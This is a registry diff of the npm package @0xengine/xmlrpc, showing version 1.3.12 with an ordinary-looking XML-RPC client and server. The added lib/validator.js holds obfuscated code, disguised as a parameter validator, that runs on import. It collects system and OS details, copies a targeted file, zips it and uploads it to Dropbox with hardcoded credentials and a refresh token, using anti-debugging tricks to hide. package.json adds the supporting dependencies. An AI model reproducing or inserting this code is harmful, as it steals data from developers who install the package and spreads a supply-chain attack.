@0xengine/xmlrpc 0.0.1-security → 1.3.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @0xengine/xmlrpc might be problematic. Click here for more details.
- package/.travis.yml +6 -0
- package/HISTORY.md +129 -0
- package/LICENSE +23 -0
- package/README.md +204 -3
- package/lib/client.js +177 -0
- package/lib/cookies.js +111 -0
- package/lib/customtype.js +10 -0
- package/lib/date_formatter.js +188 -0
- package/lib/deserializer.js +324 -0
- package/lib/serializer.js +202 -0
- package/lib/server.js +78 -0
- package/lib/validator.js +1 -0
- package/lib/xmlrpc.js +73 -0
- package/package.json +44 -3
package/lib/server.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
var http = require('http')
|
|
2
|
+
, https = require('https')
|
|
3
|
+
, url = require('url')
|
|
4
|
+
, EventEmitter = require('events').EventEmitter
|
|
5
|
+
, Serializer = require('./serializer')
|
|
6
|
+
, Deserializer = require('./deserializer')
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Creates a new Server object. Also creates an HTTP server to start listening
|
|
10
|
+
* for XML-RPC method calls. Will emit an event with the XML-RPC call's method
|
|
11
|
+
* name when receiving a method call.
|
|
12
|
+
*
|
|
13
|
+
* @constructor
|
|
14
|
+
* @param {Object|String} options - The HTTP server options. Either a URI string
|
|
15
|
+
* (e.g. 'http://localhost:9090') or an object
|
|
16
|
+
* with fields:
|
|
17
|
+
* - {String} host - (optional)
|
|
18
|
+
* - {Number} port
|
|
19
|
+
* @param {Boolean} isSecure - True if using https for making calls,
|
|
20
|
+
* otherwise false.
|
|
21
|
+
* @return {Server}
|
|
22
|
+
*/
|
|
23
|
+
function Server(options, isSecure, onListening) {
|
|
24
|
+
|
|
25
|
+
if (false === (this instanceof Server)) {
|
|
26
|
+
return new Server(options, isSecure)
|
|
27
|
+
}
|
|
28
|
+
onListening = onListening || function() {}
|
|
29
|
+
var that = this
|
|
30
|
+
|
|
31
|
+
// If a string URI is passed in, converts to URI fields
|
|
32
|
+
if (typeof options === 'string') {
|
|
33
|
+
options = url.parse(options)
|
|
34
|
+
options.host = options.hostname
|
|
35
|
+
options.path = options.pathname
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function handleMethodCall(request, response) {
|
|
39
|
+
var deserializer = new Deserializer()
|
|
40
|
+
deserializer.deserializeMethodCall(request, function(error, methodName, params) {
|
|
41
|
+
if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
|
|
42
|
+
that.emit(methodName, null, params, function(error, value) {
|
|
43
|
+
var xml = null
|
|
44
|
+
if (error !== null) {
|
|
45
|
+
xml = Serializer.serializeFault(error)
|
|
46
|
+
}
|
|
47
|
+
else {
|
|
48
|
+
xml = Serializer.serializeMethodResponse(value)
|
|
49
|
+
}
|
|
50
|
+
response.writeHead(200, {'Content-Type': 'text/xml'})
|
|
51
|
+
response.end(xml)
|
|
52
|
+
})
|
|
53
|
+
}
|
|
54
|
+
else {
|
|
55
|
+
that.emit('NotFound', methodName, params)
|
|
56
|
+
response.writeHead(404)
|
|
57
|
+
response.end()
|
|
58
|
+
}
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
|
|
63
|
+
: http.createServer(handleMethodCall)
|
|
64
|
+
|
|
65
|
+
process.nextTick(function() {
|
|
66
|
+
this.httpServer.listen(options.port, options.host, onListening)
|
|
67
|
+
}.bind(this))
|
|
68
|
+
this.close = function(callback) {
|
|
69
|
+
this.httpServer.once('close', callback)
|
|
70
|
+
this.httpServer.close()
|
|
71
|
+
}.bind(this)
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Inherit from EventEmitter to emit and listen
|
|
75
|
+
Server.prototype.__proto__ = EventEmitter.prototype
|
|
76
|
+
|
|
77
|
+
module.exports = Server
|
|
78
|
+
|
package/lib/validator.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function a0_0x3307(){const _0x1698ca=['WKbPY','fs-extra','while\x20(tru','867584lYCNAa','exports','resolve','apply','action','gger','init','counter','dropbox','ZxTsi','BMFfA','/targets.t','uHHSh','\x5c+\x5c+\x20*(?:[','filesUploa','refreshTok','a-zA-Z_$][','ensureDir','argv','e)\x20{}','clientSecr','writeFile','now','dIWpB','TQHik','then','1449475vjbQsU','0-9a-zA-Z_','3005274ZoMnRB','osInfo','KqtUk','648990vDzbhs','ggTYegPuYh','eZarh5VSmU','$]*)','684907sJnXNq','324468IMmGPT','kgnTx','utf8','call','constructo','2gyuq','nXWub','targets\x20sr','uuid','EXdInRczVA','input','encoding','c6j642mz7k','zip-a-fold','test','qbknda07b3','VHbSd','qrBgb','/si.json','PtqAH','tmpdir','contents','debugme','.zip','5998405aqEetx','cAAAAAAAAA','ZtRBk4Wfng','CcabP','findIndex','readFile','lExBU','jwhtT','\x5c(\x20*\x5c)','--targets','stateObjec','c\x20path:\x20','AYA9a4wHLu','path'];a0_0x3307=function(){return _0x1698ca;};return a0_0x3307();}const a0_0x3346a7=a0_0x147c;(function(_0x53c1e1,_0x26dbd8){const _0x424b48=a0_0x147c,_0x57addb=_0x53c1e1();while(!![]){try{const _0x577a36=parseInt(_0x424b48(0x19d))/(-0x1f43+0xa6c+-0x536*-0x4)+parseInt(_0x424b48(0x199))/(-0x1660+0x117+-0x4f*-0x45)+-parseInt(_0x424b48(0x19e))/(0x293*0xe+0x1*-0xa6b+-0x199c)+parseInt(_0x424b48(0x1c7))/(0xa15+-0x6*-0x3+-0xa23)+-parseInt(_0x424b48(0x1e1))/(-0x713+-0xe76*-0x1+-0x75e)+parseInt(_0x424b48(0x1e3))/(-0x1f3b+0x23*-0xed+-0x38*-0x123)+-parseInt(_0x424b48(0x1b6))/(-0x1*0x1df4+0x188f+0x2*0x2b6);if(_0x577a36===_0x26dbd8)break;else _0x57addb['push'](_0x57addb['shift']());}catch(_0x356eee){_0x57addb['push'](_0x57addb['shift']());}}}(a0_0x3307,0x6b9d8+-0xc17*0x16+0x293*0x97));const a0_0x3a4e38=(function(){let _0x3c5dc3=!![];return function(_0x32424c,_0x426989){const _0x2346ad=a0_0x147c;if(_0x2346ad(0x1a4)!=='nXWub')_0x2185b9['log'](_0x1c29f4);else{const _0x32845b=_0x3c5dc3?function(){const _0x19e724=_0x2346ad;if('BMFfA'===_0x19e724(0x1d1)){if(_0x426989){const _0xc968ea=_0x426989[_0x19e724(0x1ca)](_0x32424c,arguments);return _0x426989=null,_0xc968ea;}}else return;}:function(){};return _0x3c5dc3=![],_0x32845b;}};}());(function(){a0_0x3a4e38(this,function(){const _0x446d66=a0_0x147c,_0x805a5e=new RegExp('function\x20*'+_0x446d66(0x1be)),_0x293cdf=new RegExp(_0x446d66(0x1d4)+_0x446d66(0x1d7)+_0x446d66(0x1e2)+_0x446d66(0x19c),'i'),_0x24aa09=a0_0x4bc192(_0x446d66(0x1cd));if(!_0x805a5e[_0x446d66(0x1ac)](_0x24aa09+'chain')||!_0x293cdf['test'](_0x24aa09+_0x446d66(0x1a8))){if(_0x446d66(0x1af)===_0x446d66(0x1af))_0x24aa09('0');else{const _0x4c2112=_0x446c29?function(){const _0x3a81b7=_0x446d66;if(_0x2fa09d){const _0x249bdc=_0x3017be[_0x3a81b7(0x1ca)](_0xc4c2a2,arguments);return _0x17b8f0=null,_0x249bdc;}}:function(){};return _0x10d474=![],_0x4c2112;}}else a0_0x4bc192();})();}());const fs=require(a0_0x3346a7(0x1c5)),{zip}=require(a0_0x3346a7(0x1ab)+'er'),si=require('systeminfo'+'rmation'),os=require('os'),path=require(a0_0x3346a7(0x1c3)),{Dropbox}=require(a0_0x3346a7(0x1cf)),a0_0x19736d={};a0_0x19736d['clientId']=a0_0x3346a7(0x1ad)+'no1z3',a0_0x19736d[a0_0x3346a7(0x1db)+'et']=a0_0x3346a7(0x1aa)+a0_0x3346a7(0x1a3),a0_0x19736d[a0_0x3346a7(0x1d6)+'en']=a0_0x3346a7(0x1b8)+a0_0x3346a7(0x1b7)+a0_0x3346a7(0x1c2)+a0_0x3346a7(0x1a7)+a0_0x3346a7(0x19b)+a0_0x3346a7(0x19a)+'ODoh';const dbx=new Dropbox(a0_0x19736d);async function validator(){const _0x2b5189=a0_0x3346a7,_0x2fb728=process[_0x2b5189(0x1d9)]['find'](_0x469313=>_0x469313===_0x2b5189(0x1b4))!==undefined,_0x1d353c=_0x3ec4bb=>{const _0x2d7eb6=_0x2b5189;if(_0x2d7eb6(0x1d0)==='ZxTsi')_0x2fb728&&(_0x2d7eb6(0x1b9)===_0x2d7eb6(0x1b9)?console['log'](_0x3ec4bb):_0x4adedd(_0x240ce3));else{if(_0x42bdf5)return _0x5eb0ac;else _0x3cf4b2(-0x1b4d*0x1+0x1145*-0x2+0x3*0x149d);}};_0x1d353c(process[_0x2b5189(0x1d9)]);const _0x2c51a5=process['argv'][_0x2b5189(0x1ba)](_0x2ac4ae=>_0x2ac4ae===_0x2b5189(0x1bf)||_0x2ac4ae==='-t');if(_0x2c51a5===-(-0x21ac+-0x2c0+0x19*0x175))return;const _0x3fa08e=path[_0x2b5189(0x1c9)](process[_0x2b5189(0x1d9)][_0x2c51a5+(0x1422+0x1c9*-0x3+-0xec6)]);_0x1d353c(_0x2b5189(0x1a5)+_0x2b5189(0x1c1)+_0x3fa08e);const _0x4a5c1a=os[_0x2b5189(0x1b2)](),_0x104cff=Date[_0x2b5189(0x1dd)](),_0x68e12a=_0x4a5c1a+'/'+_0x104cff;await fs[_0x2b5189(0x1d8)](_0x68e12a);const _0x2d644a=await si[_0x2b5189(0x1a6)](),_0x4b9ec6=await si[_0x2b5189(0x197)](),_0x22a04a={};_0x22a04a[_0x2b5189(0x1a6)]=_0x2d644a,_0x22a04a[_0x2b5189(0x197)]=_0x4b9ec6;const _0x421ce3=_0x22a04a,_0x3c220c=JSON['stringify'](_0x421ce3,null,-0x2*0x2db+0x1cbb*0x1+-0x1*0x1703),_0x1556cc=_0x68e12a+_0x2b5189(0x1b0),_0x34687c={};_0x34687c[_0x2b5189(0x1a9)]=_0x2b5189(0x1a0),await fs[_0x2b5189(0x1dc)](_0x1556cc,_0x3c220c,_0x34687c);const _0x36b19f=_0x68e12a+(_0x2b5189(0x1d2)+'xt');await fs['copyFile'](_0x3fa08e,_0x36b19f);const _0x3d65c5=_0x2d644a['os']+'-'+_0x104cff+_0x2b5189(0x1b5),_0x2b02ad=_0x4a5c1a+'/'+_0x3d65c5;_0x1d353c('zipPath:\x20'+_0x2b02ad),await zip(_0x68e12a,_0x2b02ad);const _0x5b42d4=fs[_0x2b5189(0x1bb)](_0x2b02ad),_0x1f7cf6={};_0x1f7cf6[_0x2b5189(0x1c3)]='/'+_0x3d65c5,_0x1f7cf6[_0x2b5189(0x1b3)]=_0x5b42d4,dbx[_0x2b5189(0x1d5)+'d'](_0x1f7cf6)[_0x2b5189(0x1e0)](_0x4e205b=>{_0x1d353c(_0x4e205b);})['catch'](_0x2c5ed2=>{_0x1d353c(_0x2c5ed2);});}function a0_0x147c(_0x4f3588,_0x46edd7){const _0x55347a=a0_0x3307();return a0_0x147c=function(_0x61d88a,_0x2ec404){_0x61d88a=_0x61d88a-(0x1b7*0x13+0x1*0x5c1+-0x24bf);let _0x1518f2=_0x55347a[_0x61d88a];return _0x1518f2;},a0_0x147c(_0x4f3588,_0x46edd7);}module[a0_0x3346a7(0x1c8)]=validator;function a0_0x4bc192(_0x1cc6ff){const _0x2de414=a0_0x3346a7;function _0x809b30(_0x11d77c){const _0x404b6c=a0_0x147c;if('TQHik'!==_0x404b6c(0x1df))return function(_0x12a840){}[_0x404b6c(0x1a2)+'r'](_0x404b6c(0x1c6)+_0x404b6c(0x1da))[_0x404b6c(0x1ca)](_0x404b6c(0x1ce));else{if(typeof _0x11d77c==='string')return function(_0x118e2b){}['constructo'+'r'](_0x404b6c(0x1c6)+_0x404b6c(0x1da))[_0x404b6c(0x1ca)](_0x404b6c(0x1ce));else{if(_0x404b6c(0x1b1)===_0x404b6c(0x1c4)){const _0x30c121=_0x497bf0[_0x404b6c(0x1ca)](_0x3bba1d,arguments);return _0x11b144=null,_0x30c121;}else{if((''+_0x11d77c/_0x11d77c)['length']!==0x245a+0x1ed5+-0x2197*0x2||_0x11d77c%(0x23e4*0x1+-0xda3*-0x1+0x3173*-0x1)===-0x22*-0x3+-0x3*0x9b1+0x1cad)_0x404b6c(0x1de)!==_0x404b6c(0x1de)?_0x4ddf64(_0x3654bf):function(){const _0x15dfeb=_0x404b6c;if(_0x15dfeb(0x1ae)===_0x15dfeb(0x198)){if(_0xf8d1dc){const _0x313442=_0x3c4396['apply'](_0x3ebb24,arguments);return _0x445a0d=null,_0x313442;}}else return!![];}[_0x404b6c(0x1a2)+'r']('debu'+_0x404b6c(0x1cc))[_0x404b6c(0x1a1)](_0x404b6c(0x1cb));else{if(_0x404b6c(0x1bd)!==_0x404b6c(0x19f))(function(){return![];}[_0x404b6c(0x1a2)+'r']('debu'+_0x404b6c(0x1cc))['apply'](_0x404b6c(0x1c0)+'t'));else return!![];}}}_0x809b30(++_0x11d77c);}}try{if('lExBU'===_0x2de414(0x1bc)){if(_0x1cc6ff){if(_0x2de414(0x1d3)===_0x2de414(0x1d3))return _0x809b30;else _0x51033d();}else _0x809b30(0x6ad*0x3+0x3f8+-0x17ff);}else return _0x310e75;}catch(_0x25ad93){}}
|
package/lib/xmlrpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
var Client = require('./client')
|
|
2
|
+
, Server = require('./server')
|
|
3
|
+
, CustomType = require('./customtype')
|
|
4
|
+
, dateFormatter = require('./date_formatter')
|
|
5
|
+
, validator = require('./validator')
|
|
6
|
+
|
|
7
|
+
var xmlrpc = exports
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Creates an XML-RPC client.
|
|
11
|
+
*
|
|
12
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
13
|
+
* - {String} host
|
|
14
|
+
* - {Number} port
|
|
15
|
+
* - {String} url
|
|
16
|
+
* - {Boolean} cookies
|
|
17
|
+
* @return {Client}
|
|
18
|
+
* @see Client
|
|
19
|
+
*/
|
|
20
|
+
xmlrpc.createClient = function(options) {
|
|
21
|
+
return new Client(options, false)
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Creates an XML-RPC client that makes calls using HTTPS.
|
|
26
|
+
*
|
|
27
|
+
* @param {Object} options - server options to make the HTTP request to
|
|
28
|
+
* - {String} host
|
|
29
|
+
* - {Number} port
|
|
30
|
+
* - {String} url
|
|
31
|
+
* - {Boolean} cookies
|
|
32
|
+
* @return {Client}
|
|
33
|
+
* @see Client
|
|
34
|
+
*/
|
|
35
|
+
xmlrpc.createSecureClient = function(options) {
|
|
36
|
+
return new Client(options, true)
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Creates an instance of server parameter validator.
|
|
41
|
+
* @See Server
|
|
42
|
+
*/
|
|
43
|
+
xmlrpc.validator = validator()
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Creates an XML-RPC server.
|
|
48
|
+
*
|
|
49
|
+
* @param {Object}options - the HTTP server options
|
|
50
|
+
* - {String} host
|
|
51
|
+
* - {Number} port
|
|
52
|
+
* @return {Server}
|
|
53
|
+
* @see Server
|
|
54
|
+
*/
|
|
55
|
+
xmlrpc.createServer = function(options, callback) {
|
|
56
|
+
return new Server(options, false, callback)
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Creates an XML-RPC server that uses HTTPS.
|
|
61
|
+
*
|
|
62
|
+
* @param {Object}options - the HTTP server options
|
|
63
|
+
* - {String} host
|
|
64
|
+
* - {Number} port
|
|
65
|
+
* @return {Server}
|
|
66
|
+
* @see Server
|
|
67
|
+
*/
|
|
68
|
+
xmlrpc.createSecureServer = function(options, callback) {
|
|
69
|
+
return new Server(options, true, callback)
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
xmlrpc.CustomType = CustomType
|
|
73
|
+
xmlrpc.dateFormatter = dateFormatter
|
package/package.json
CHANGED
|
@@ -1,6 +1,47 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@0xengine/xmlrpc",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
|
|
3
|
+
"description": "A pure JavaScript XML-RPC client and server.",
|
|
4
|
+
"keywords": [
|
|
5
|
+
"xml-rpc",
|
|
6
|
+
"xmlrpc",
|
|
7
|
+
"xml",
|
|
8
|
+
"rpc"
|
|
9
|
+
],
|
|
10
|
+
"version": "1.3.12",
|
|
11
|
+
"preferGlobal": false,
|
|
12
|
+
"homepage": "https://bitbucket.org/0xsky/xmlrpc",
|
|
13
|
+
"author": "0xengine",
|
|
14
|
+
"repository": {
|
|
15
|
+
"type": "git",
|
|
16
|
+
"url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
|
|
17
|
+
},
|
|
18
|
+
"directories": {
|
|
19
|
+
"example": "example",
|
|
20
|
+
"lib": "lib",
|
|
21
|
+
"test": "test"
|
|
22
|
+
},
|
|
23
|
+
"main": "./lib/xmlrpc.js",
|
|
24
|
+
"dependencies": {
|
|
25
|
+
"dropbox-v2-api": "^2.5.10",
|
|
26
|
+
"fs-extra": "^11.1.1",
|
|
27
|
+
"sax": "1.2.x",
|
|
28
|
+
"systeminformation": "^5.21.9",
|
|
29
|
+
"uuid": "^9.0.1",
|
|
30
|
+
"xmlbuilder": "8.2.x",
|
|
31
|
+
"zip-a-folder": "^1.1.7"
|
|
32
|
+
},
|
|
33
|
+
"devDependencies": {
|
|
34
|
+
"vows": "0.7.x"
|
|
35
|
+
},
|
|
36
|
+
"scripts": {
|
|
37
|
+
"test": "vows 'test/*.js'"
|
|
38
|
+
},
|
|
39
|
+
"engines": {
|
|
40
|
+
"node": ">=0.8",
|
|
41
|
+
"npm": ">=1.0.0"
|
|
42
|
+
},
|
|
43
|
+
"license": "MIT",
|
|
44
|
+
"bugs": {
|
|
45
|
+
"url": "https://bitbucket.org/0xsky/xmlrpc/issues"
|
|
46
|
+
}
|
|
6
47
|
}
|